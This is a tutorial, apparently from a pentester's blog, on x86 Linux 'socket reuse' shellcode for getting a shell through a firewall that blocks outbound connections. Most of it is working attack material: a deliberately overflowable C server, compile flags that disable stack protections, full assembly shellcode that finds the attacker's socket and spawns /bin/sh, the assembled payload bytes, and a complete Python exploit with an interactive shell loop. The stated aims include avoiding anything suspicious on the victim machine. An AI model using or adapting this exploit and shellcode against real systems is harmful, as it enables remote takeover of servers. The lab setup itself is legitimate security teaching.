Linux x86 One-Way Shellcode. (Socket Reuse)
In this post we will look at an elegant and a simple technique to get our shell past the firewall.
Recently while working on a pentest I was up against an x86 Linux machine which could be exploited but would prevent any outgoing connection other than the existing connection, I started looking for a method to use the existing connection to spawn my shell and ended up looking at a interesting technique Socket-Reuse. It is not a new method , but I found it very interesting, In this post we will look at how to use an existing socket rather than exploiting the vulnerable application/service.
Why and When to Re-use socket?
- You have already exploited the service and don't want to create a new socket or show anything suspicious like new open port in the victim machine etc.
- When the firewall doesn't allow any outbound connection other than the exploited service, bypassing network level firewall restrictions.
Overview
By default Linux assigns file descriptors sequentially (0, 1, 2 always being STDIN,STDOUT,STDERR) , so when a new connection is received it would be assigned to 3 and so on. So we can start from 0 and traverse all the 65,653 non-negative integers to find the socket relating to our connection and then redirect the input from the very same socket to STDIN and STDOUT to the socket ,and using execv to invoke bash to provide us an interactive shell.
Setting the environment
We start with creating a simple vulnerable server that has a buffer overflow and can be exploited remotely.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int newsockfd;
int copier(char *str) {
char buffer[1024];
strcpy(buffer, str);
}
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char *argv[])
{
int sockfd, portno;
socklen_t clilen;
char buffer[4096], reply[5100];
struct sockaddr sock;
struct sockaddr_in serv_addr, cli_addr;
int n;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 1337;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) < 0)
error("ERROR on binding");
printf("\n\n Server socket number is %d\n\n",sockfd);
listen(sockfd,5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd,
(struct sockaddr *) &cli_addr,
&clilen);
printf("\n\n Client socket number is %d\n\n",newsockfd);
if (newsockfd < 0)
error("ERROR on accept");
while (1) {
n = write(newsockfd,"Welcome to my server!Send a message!\n",43);
printf("Connected from %s \n",inet_ntoa(cli_addr.sin_addr.s_addr));
bzero(buffer,4096);
n = read(newsockfd,buffer,4095);
if (n < 0) error("ERROR reading from socket");
// CALL A FUNCTION WITH A BUFFER OVERFLOW VULNERABILITY
copier(buffer);
printf("Here is the message: %s\n",buffer);
strcpy(reply, "I got this message: ");
strcat(reply, buffer);
n = write(newsockfd, reply, strlen(reply));
if (n < 0) error("ERROR writing to socket");
}
close(newsockfd);
close(sockfd);
return 0;
}
Turn off ASLR and compile the above code with execstack and fno-stack-protector in gcc.
gcc -g -fno-stack-protector -z execstack -o server server.c
You would have already found out the place at which buffer overflow occurs , and a string of length 1036 bytes is enough to crash the server .
python -c 'print "A"*1032+"BBBB"' | nc localhost 1337
At the moment of crash $EAX points to the start of our payload so we can find a jmp eax
or call eax
to jump to out payload,which was in our case 0x080486a3 #call eax
.
writing our shellcode
First thing we do is to iterate over all the file descriptors looking for the one which pertains to our connection, we do this by using the getpeername()
function .
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addr_len);
Below is a code snippet to loop through all FD to find valid socket descriptors.
xor eax,eax ; Zeroing out EAX register
push eax ; Making space on the stack for addr struct
push eax
mov edi,esp ; Store the address of addr to EDI
push 0x10 ; Push addr_len
push esp ; Push address of addr_len
push edi ; Push address of addr struct
push eax ; Push sockfd=0
mov ecx,esp ; Saving address of parameters to ECX
push 0x07 ; getpeername() sys_call_no
pop ebx
inc_loop:
inc dword [ecx] ; this loop would inc sockfd
push 0x66 ; sys_sockectcall
pop eax
int 0x80
test eax,eax ; test till we find a valid socket desc.
jne inc_loop
getpeername() would return 0 if a valid socket is found and following error otherwise,
ENOTCONN (107) 0xffffff95
ENOTSOCK (88) 0xffffffa8
So for 0, 1, 2 we get a return value of (0xffffffa8) because it is not a SOCK as indicated by (ENOTSOCK) .
Since by default Linux assigns the lowest unused number we can see that fd:4 would return a value 0 hence passing the test condition and the jmp (jne inc_loop) is not taken.
Next thing is to find out if this socket descriptor that belongs to our connection , since this server would have many connection other than us , it is important to be sure that the descriptors belongs to us before redirecting STDIN and STDOUT from and to the sockfd, otherwise someone else will end up with a remote shell to the the system. Since I was in a internal network without NAT , I just used the IP address to verify the connection and redirect the file descriptors , you can also use to PORT along with it .
IP of my machine was 192.168.0.110
but since there is a null char in our payload we need to take care of this null byte , we therefore push 192.168.255.110
and then change it to 192.168.0.110
on the stack.
push 0x6effa8c0 ; Push 192.168.255.110
xor byte [esp+2],0xff ; 192.168.255.110 ->192.168.0.110
pop eax ; Save IP to EAX
cmp [edi+4],eax ; Compare EAX to value saved by
; getpeername() on the stack@[EDI+4]
jne inc_loop ; If IP doesn't match inc sockfd
Once the proper socket is found , we need to redirect STDIN and STDOUT to our socket. This way, when /bin/sh is executed, the read() and write() functions will use this socket instead of the standard file descriptors, now all the input/output for that shell will be redirected to the socket.
The following code has to executed to do the same
dup2 (sockfd, 0);
dup2 (sockfd, 1);
dup2 (sockfd, 2);
execv ("/bin/sh", NULL);
Code Equivalent in assembly,
At this moment the sockfd belonging to our connection is on the top of the stack @[ECX]
xor eax,eax ; Zeroing out EAX register
pop ebx ; Saving the Sockfd to EBX
push byte +0x3 ; ECX is set to 3
pop ecx
dup :
dec ecx ; ECX loops from 2 , 1 , 0
mov al,0x3f ; EAX=0x3F ( dup2 )
int 0x80
test eax,eax ; Loop till all 3 std file descriptor are
; mapped to soscket
jnz dup
Since all standard descriptor are mapped to the socket , now we need to execute /bin/sh we use the existing shellcode
push eax ; zero terminate filename
push dword 0x68732f2f ; hs//
push dword 0x6e69622f ; nib/ /bin//sh pushed little endian
mov ebx,esp ; point to filename
push eax ; zero terminate args list
push ebx ; *filename,
mov ecx,esp ; **argv[0], head of argv[] list
cdq ; convert doubleword to quadword,
; doubles size of eax, sign extended
; and stores in edx:eax
; in effect, zeroes edx, no *envp[]
mov al,0xb ; execv
int 0x80
Complete code in assembly
xor eax,eax
push eax
push eax
mov edi,esp
push 0x10
push esp
push edi
push eax
mov ecx,esp
push 0x07
pop ebx
inc_loop:
inc dword [ecx]
push 0x66
pop eax
int 0x80
test eax,eax
jne inc_loop
push 0x6effa8c0 ; Change to your IP address
xor byte [esp+2],0xff
pop eax
cmp [edi+4],eax
jne short -26
xor eax,eax
pop ebx
push byte +0x3
pop ecx
dup :
dec ecx
mov al,0x3f
int 0x80
test eax,eax
jnz dup
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
cdq
mov al,0xb
int 0x80
We can then use nasm to compile it , and then obtain the bytes and create our POC
nasm -f bin reuse.asm -o reuse
Now we use python to create an exploit to send the shellcode and use the same socket to send commands to the server and receive the output.
#!/bin/python
import socket , struct ,select ,time
payload="\x31\xc0\x50\x50\x89\xe7\x6a\x10\x54\x57\x50\x89\xe1\x6a\x07\x5b\xff\x01\x6a\x66\x58\xcd\x80\x85\xc0\x75\xf5\x68\xc0\xa8\xff\x6e\x80\x74\x24\x02\xff\x58\x39\x47\x04\x75\xe5\x31\xc0\x5b\x6a\x03\x59\x49\xb0\x3f\xcd\x80\x85\xc0\x75\xf7\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer = "\x90"*10+payload+"A"*(1032-10-len(payload)) + struct.pack('<I',0x080486a3) + 1000* "C"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.111',4001))
print s.recv(1024)
s.send(buffer+'\r\n')
print s.fileno()
while(1):
inputready, outputready,exceptrdy = select.select([s], [s],[])
if (len(inputready)!=0):
print s.recv(1024)
else:
s.send(raw_input("D3fa1t~sh3ll#> ")+'\n')
time.sleep(0.1)
And Voila we have exploited the server with buffer overflow and have reused the existing socket for our shell .